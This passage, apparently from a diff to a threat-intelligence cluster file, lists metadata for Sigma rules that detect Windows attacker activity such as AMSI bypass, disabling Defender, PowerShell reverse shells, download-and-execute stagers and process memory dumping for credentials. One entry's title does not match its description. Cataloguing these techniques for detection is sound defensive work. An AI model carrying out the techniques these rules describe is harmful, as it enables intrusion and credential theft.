[ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", + "author": "Teymur Kheirkhabarov", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Request to amsiInitFailed that can be used to disable AMSI Scanning", + "uuid": "30edb182-aa75-42c0-b0a9-e998bb29067c", + "value": "Powershell AMSI Bypass via .NET Reflection", + "meta": { + "refs": [ + "https://twitter.com/mattifestation/status/735261176745988096", + "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2018/08/17", + "filename": "proc_creation_win_powershell_amsi_bypass.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects audio capture via PowerShell Cmdlet.", + "uuid": "932fb0d8-692b-4b0f-a26e-5643a50fe7d6", + "value": "Audio Capture via PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", + "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_powershell_audio_capture.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate audio capture by legitimate user." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Base64 encoded Shellcode", + "uuid": "2d117e49-e626-4c7c-bd1f-c3c0147774c8", + "value": "PowerShell Base64 Encoded Shellcode", + "meta": { + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2018/11/17", + "filename": "proc_creation_win_powershell_b64_shellcode.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect download by BITS jobs via PowerShell", + "uuid": "f67dbfce-93bc-440d-86ad-a95ae8858c90", + "value": "Suspicious Bitsadmin Job via PowerShell", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_powershell_bitsjob.yml", + "author": "Endgame, JHasenbusch (ported to sigma for oscd.community)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", + "uuid": "74403157-20f5-415d-89a7-c505779585cf", + "value": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_convertto_securestring.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the PowerShell command lines with reversed strings", + "uuid": "b6b49cd1-34d6-4ead-b1bf-176e9edba9a4", + "value": "Suspicious PowerShell Cmdline", + "meta": { + "refs": [ + "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_reversed_strings.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the PowerShell command lines with special characters", + "uuid": "d7bcd677-645d-4691-a8d4-7a5602b780d1", + "value": "Suspicious PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_powershell_cmdline_special_characters.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp)", + "level": "high", + "falsepositive": [ + "Unlikely", + "Amazon SSM Document Worker", + "Windows Defender ATP" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "uuid": "cdf05894-89e7-4ead-b2b0-0a5f97a90f2f", + "value": "Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_win_powershell_cmdline_specific_comb_methods.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "low", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific combinations of encoding methods in the PowerShell command lines", + "uuid": "5b572dcf-254b-425c-a8c5-d9af6bea35a6", + "value": "Suspicious Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/07/06", + "filename": "proc_creation_win_powershell_cmdline_susp_comb_methods.yml", + "author": "Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded \"MpPreference\" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV", + "uuid": "c6fb44c6-71f5-49e6-9462-1425d328aee3", + "value": "Powershell Defender Base64 MpPreference", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/04", + "filename": "proc_creation_win_powershell_defender_base64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects requests to disable Microsoft Defender features using PowerShell commands", + "uuid": "1ec65a5f-9473-4f12-97da-622044d6df21", + "value": "Powershell Defender Disable Scan Feature", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", + "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/03/03", + "filename": "proc_creation_win_powershell_defender_disable_feature.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets", + "uuid": "17769c90-230e-488b-a463-e05c08e9d48f", + "value": "Powershell Defender Exclusion", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/04/29", + "filename": "proc_creation_win_powershell_defender_exclusion.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Possible Admin Activity", + "Other Cmdlets that may use the same parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects attackers attempting to disable Windows Defender using Powershell", + "uuid": "a7ee1722-c3c5-aeff-3212-c777e4733217", + "value": "Powershell Used To Disable Windows Defender AV Security Monitoring", + "meta": { + "refs": [ + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", + "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_powershell_disable_windef_av.yml", + "author": "ok @securonix invrep-de, oscd.community, frack113", + "level": "high", + "falsepositive": [ + "Minimal, for some older versions of dev tools, such as pycharm, developers were known to sometimes disable Windows Defender to improve performance, but this generally is not considered a good security practice." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell Strings applied to rundll as seen in PowerShdll.dll", + "uuid": "6812a10b-60ea-420c-832f-dfcc33b646ba", + "value": "Detection of PowerShell Execution via DLL", + "meta": { + "refs": [ + "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2018/08/25", + "filename": "proc_creation_win_powershell_dll_execution.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", + "uuid": "b3512211-c67e-4707-bedc-66efc7848863", + "value": "PowerShell Downgrade Attack", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/03/20", + "filename": "proc_creation_win_powershell_downgrade_attack.yml", + "author": "Harish Segar (rule)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Powershell process that contains download commands in its command line string", + "uuid": "3b6ab547-8ec2-4991-b9d2-2b06702a48d7", + "value": "PowerShell Download from URL", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_powershell_download.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)", + "uuid": "e6c54d94-498c-4562-a37c-b469d8e9a275", + "value": "Suspicious PowerShell Download and Execute Pattern", + "meta": { + "refs": [ + "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/02/28", + "filename": "proc_creation_win_powershell_download_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Software installers that pull packages from remote systems and execute them" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious FromBase64String expressions in command line arguments", + "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", + "value": "FromBase64String Command Line", + "meta": { + "refs": [ + "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" + ], + "tags": [ + "attack.t1027", + "attack.defense_evasion", + "attack.t1140", + "attack.t1059.001" + ], + "creation_date": "2020/01/29", + "filename": "proc_creation_win_powershell_frombase64string.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative script libraries" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", + "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", + "value": "PowerShell Get-Clipboard Cmdlet Via CLI", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_powershell_get_clipboard.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects execution of PowerShell scripts located in the \"C:\\Users\\Public\" folder", + "uuid": "fb9d3ff7-7348-46ab-af8c-b55f5fbf39b4", + "value": "Execution of Powershell Script in Public Folder", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/evolution-of-fin7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/06", + "filename": "proc_creation_win_powershell_public_folder.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell", + "uuid": "edc2f8ae-2412-4dfd-b9d5-0c57727e70be", + "value": "Powershell Reverse Shell Connection", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_powershell_reverse_shell_connection.yml", + "author": "FPT.EagleEye, wagga", + "level": "high", + "falsepositive": [ + "Administrative might use this function for checking network connectivity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects adding and using Exchange PowerShell snap-ins to export mailbox data by HAFNIUM", + "uuid": "25676e10-2121-446e-80a4-71ff8506af47", + "value": "Exchange PowerShell Snap-Ins Used by HAFNIUM", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.collection", + "attack.t1114" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_powershell_snapins_hafnium.yml", + "author": "FPT.EagleEye", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation with a parameter substring", + "uuid": "36210e0d-5b19-485d-a087-c096088885f0", + "value": "Suspicious PowerShell Parameter Substring", + "meta": { + "refs": [ + "http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_powershell_susp_parameter_variation.yml", + "author": "Florian Roth (rule), Daniel Bohannon (idea), Roberto Rodriguez (Fix)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", + "uuid": "bb780e0c-16cf-4383-8383-1e5471db6cf9", + "value": "Suspicious XOR Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1059.001", + "attack.t1140", + "attack.t1027" + ], + "creation_date": "2018/09/05", + "filename": "proc_creation_win_powershell_xor_commandline.yml", + "author": "Sami Ruohonen, Harish Segar (improvement), Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask via PowerSploit or Empire Default Configuration.", + "uuid": "56c217c3-2de2-479b-990f-5c109ba8458f", + "value": "Default PowerSploit and Empire Schtasks Persistence", + "meta": { + "refs": [ + "https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powersploit_empire_schtasks.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.s0111", + "attack.g0022", + "attack.g0060", + "car.2013-08-001", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2018/03/06", + "filename": "proc_creation_win_powersploit_empire_schtasks.yml", + "author": "Markus Neis, @Karneades", + "level": "high", + "falsepositive": [ + "False positives are possible, depends on organisation and processes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.", + "uuid": "9bd04a79-dabe-4f1f-a5ff-92430265c96b", + "value": "Privilege Escalation via Named Pipe Impersonation", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/privilege-escalation-via-named-pipe-impersonation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_priv_escalation_via_named_pipe.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_priv_escalation_via_named_pipe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the SysInternals Procdump utility", + "uuid": "2e65275c-8288-4ab4-aeb7-6274f58b6b20", + "value": "Procdump Usage", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2021/08/16", + "filename": "proc_creation_win_procdump.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate use of procdump by a developer or administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", + "uuid": "79b06761-465f-4f88-9ef2-150e24d3d737", + "value": "Procdump Evasion", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1480785527901204481", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_procdump_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_procdump_evasion.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Cases in which procdump just gets copied to a different directory without any renaming" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a process memory dump performed by RdrLeakDiag.exe", + "uuid": "edadb1e5-5919-4e4c-8462-a9e643b02c4b", + "value": "Process Dump via RdrLeakDiag.exe", + "meta": { + "refs": [ + "https://www.pureid.io/dumping-abusing-windows-credentials-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/09/24", + "filename": "proc_creation_win_process_dump_rdrleakdiag.yml", + "author": "Cedric MAURUGEON", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process memory dump via comsvcs.dll and rundll32 using different techniques (ordinal, minidump function...etc)", + "uuid": "646ea171-dded-4578-8a4d-65e9822892e3", + "value": "Process Dump via Rundll32 and Comsvcs.dll", + "meta": { + "refs": [ + "https://twitter.com/shantanukhande/status/1229348874298388484", + "https://twitter.com/pythonresponder/status/1385064506049630211?s=21", + "https://twitter.com/Hexacorn/status/1224848930795552769", + "https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/", + "https://twitter.com/SBousseaden/status/1167417096374050817", + "https://twitter.com/Wietze/status/1542107456507203586", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1036", + "attack.t1003.001", + "car.2013-05-009" + ], + "creation_date": "2020/02/18", + "filename": "proc_creation_win_process_dump_rundll32_comsvcs.yml", + "author": "Florian Roth, Modexp, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Unlikely, because no one should dump the process memory in that way" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", + "uuid": "515c8be5-e5df-4c5e-8f6d-a4a2f05e4b48", + "value": "CreateDump Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://twitter.com/bopin2020/status/1366400799199272960", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_createdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_proc_dump_createdump.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Command lines that use the same flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", + "uuid": "dee0a7a3-f200-4112-a99b-952196d81e42", + "value": "DumpMinitool Usage", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586?s=20&t=DvVrzeZ1OcGiWowbhPV8Lg", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_proc_dump_dumpminitool.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", + "uuid": "6355a919-2e97-4285-a673-74645566340d", + "value": "RdrLeakDiag Process Dump", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to use of a Visual Studio bundled tool named DumpMinitool.exe", + "uuid": "eb1c4225-1c23-4241-8dd4-051389fde4ce", + "value": "Suspicious DumpMinitool Usage", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1511415432888131586", + "https://twitter.com/mrd0x/status/1511489821247684615", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_susp_dumpminitool.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1003.001" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_proc_dump_susp_dumpminitool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect suspicious parent processes of well-known Windows processes", + "uuid": "96036718-71cc-4027-a538-d1587e0006a7", + "value": "Windows Processes Suspicious Parent Directory", + "meta": { + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://www.carbonblack.com/2014/06/10/screenshot-demo-hunt-evil-faster-than-ever-with-carbon-black/", + "https://www.13cubed.com/downloads/windows_process_genealogy_v2.pdf", + "https://attack.mitre.org/techniques/T1036/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_wrong_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003", + "attack.t1036.005" + ], + "creation_date": "2019/02/23", + "filename": "proc_creation_win_proc_wrong_parent.yml", + "author": "vburov", + "level": "low", + "falsepositive": [ + "Some security products seem to spawn these" + ], + "logsource.category": 